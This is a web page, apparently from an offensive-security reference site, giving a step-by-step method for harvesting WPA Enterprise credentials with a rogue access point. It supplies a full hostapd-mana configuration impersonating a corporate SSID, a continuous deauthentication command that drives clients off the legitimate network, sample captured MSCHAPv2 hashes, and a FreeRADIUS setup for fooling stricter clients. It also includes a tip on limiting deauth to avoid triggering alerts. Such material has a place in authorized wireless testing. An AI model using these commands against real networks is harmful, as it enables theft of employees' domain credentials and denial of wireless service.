# Harvesting EAP Credentials with hostapd-mana

> Deploy a rogue AP using hostapd-mana to intercept EAP authentication handshakes, capturing enterprise wireless credentials via RADIUS downgrade and identity harvesting attacks.

- **URL:** https://hackindex.io/platforms/wireless/exploitation/harvesting-eap-credentials-hostapd-mana
- **Path:** Wireless > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/wireless/exploitation.md)
- **Published:** 2026-03-17
- **Updated:** 2026-08-11

hostapd-mana is a modified AP daemon that accepts any EAP authentication attempt and logs the credentials. When a WPA Enterprise client connects to it, hostapd-mana completes enough of the EAP exchange to receive the client's MSCHAPv2 challenge and response, then logs them in a format ready for offline cracking. The client needs to not validate the server certificate for this to work: confirmed during vulnerability discovery.

You need two wireless interfaces: one to run the rogue AP and one to deauthenticate clients from the legitimate AP. If you only have one interface, deauthentication is not possible but clients may still connect naturally if the rogue AP signal is stronger.

## Install hostapd-mana

```bash
apt update && apt install -y hostapd-mana
```

## Configure hostapd-mana for EAP Credential Harvesting

Create a configuration file targeting the enterprise SSID. The certificate files are included with the hostapd-mana package:

```bash
cat > /tmp/mana-enterprise.conf << 'EOF'
interface=wlan0
ssid=CorpWifi
hw_mode=g
channel=11
auth_algs=3
wpa=3
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
wpa_pairwise=CCMP TKIP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-mana/mana.eap_user
ca_cert=/etc/hostapd-mana/ca.pem
server_cert=/etc/hostapd-mana/server.pem
private_key=/etc/hostapd-mana/server.key
private_key_passwd=whatever
dh_file=/etc/hostapd-mana/dh
mana_wpe=1
mana_credout=/tmp/mana-creds.txt
mana_eapsuccess=1
EOF
```

Key configuration options:

- **ssid**: must match the target enterprise network name exactly including case.
- **channel**: set to the same channel as the legitimate AP or one with stronger signal to your position.
- **mana_wpe=1**: enables the WPE credential logging module.
- **mana_credout**: path where captured credentials are written.
- **mana_eapsuccess=1**: sends an EAP success to the client after capturing credentials, which prevents the client from detecting the authentication failure immediately.

Common configuration mistakes that prevent EAP credential harvesting:

- Wrong SSID casing: `corpwifi` vs `CorpWifi` means the client ignores the rogue AP entirely.
- Missing or expired certificates in `/etc/hostapd-mana/`. Regenerate them with `make-ssl-cert` or the mana cert scripts if the default ones have expired.
- The interface is still in monitor mode from a previous tool. hostapd-mana needs the interface in managed mode.

## Start the Rogue AP

```bash
hostapd-mana /tmp/mana-enterprise.conf
# Configuration file: /tmp/mana-enterprise.conf
# Using interface wlan0 with hwaddr 00:c0:ca:xx:xx:xx and ssid "CorpWifi"
# wlan0: interface state UNINITIALIZED->ENABLED
# wlan0: AP-ENABLED
```

## Deauthenticate Clients from the Legitimate AP

In a second terminal, use the second adapter to push clients toward your rogue AP:

```bash
aireplay-ng -0 0 -a 11:22:33:44:55:66 wlan1mon
```

Continuous deauth (`-0 0`) keeps clients disconnected from the legitimate AP. Stop it once credentials start appearing: prolonged deauth is noisy and may trigger alerts.

## Monitor Captured Credentials

Watch the credential output file as clients connect:

```bash
tail -f /tmp/mana-creds.txt
# MANA WPE Captured Credentials
# Username: CORP\jsmith
# Challenge: 4a6f8d2e1b9c3f7a
# Response:  8d3f2a1c9e4b7f6d2a8c1e3b5d9f4a2c:3e7f1a9d2c8b4e6f
```

The username often includes the domain prefix which reveals the Active Directory domain. The challenge and response together form a crackable MSCHAPv2 hash. Proceed to the MSCHAPv2 cracking page once credentials are captured.

## Use FreeRADIUS for a More Realistic Enterprise Simulation

hostapd-mana handles most enterprise scenarios but some clients perform stricter certificate chain validation and will only connect to a RADIUS server with a certificate signed by a recognised CA. FreeRADIUS lets you build a complete RADIUS infrastructure with a self-signed CA, which is more convincing to some supplicants than hostapd-mana's bundled certificates.

Install FreeRADIUS:

```bash
apt update && apt install -y freeradius
```

Test the FreeRADIUS configuration in debug mode to confirm it starts cleanly:

```bash
freeradius -X
# FreeRADIUS Version 3.2.x
# Ready to process requests
```

The main configuration files are in `/etc/freeradius/3.0/`. To configure PEAP/MSCHAPv2, edit `eap.conf` and set the default EAP type:

```bash
grep -A 5 'default_eap_type' /etc/freeradius/3.0/mods-enabled/eap
# default_eap_type = peap
```

Point hostapd-mana at the FreeRADIUS server as an external RADIUS backend by adding these lines to the hostapd-mana config instead of the built-in EAP server:

```bash
cat >> /tmp/mana-enterprise.conf << 'EOF'
eap_server=0
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=testing123
EOF
```

Start FreeRADIUS in debug mode first, then start hostapd-mana. Authentication attempts are logged in the FreeRADIUS debug output including the full MSCHAPv2 exchange. Captured hashes are extracted from the FreeRADIUS logs and fed into asleap or hashcat.

## References

- [sensepost/hostapd-mana on GitHub](https://github.com/sensepost/hostapd-mana) - Configuration reference, mana_wpe options, and eap_user file format
- [FreeRADIUS: documentation](https://freeradius.org/documentation/) - eap.conf PEAP configuration and debug mode reference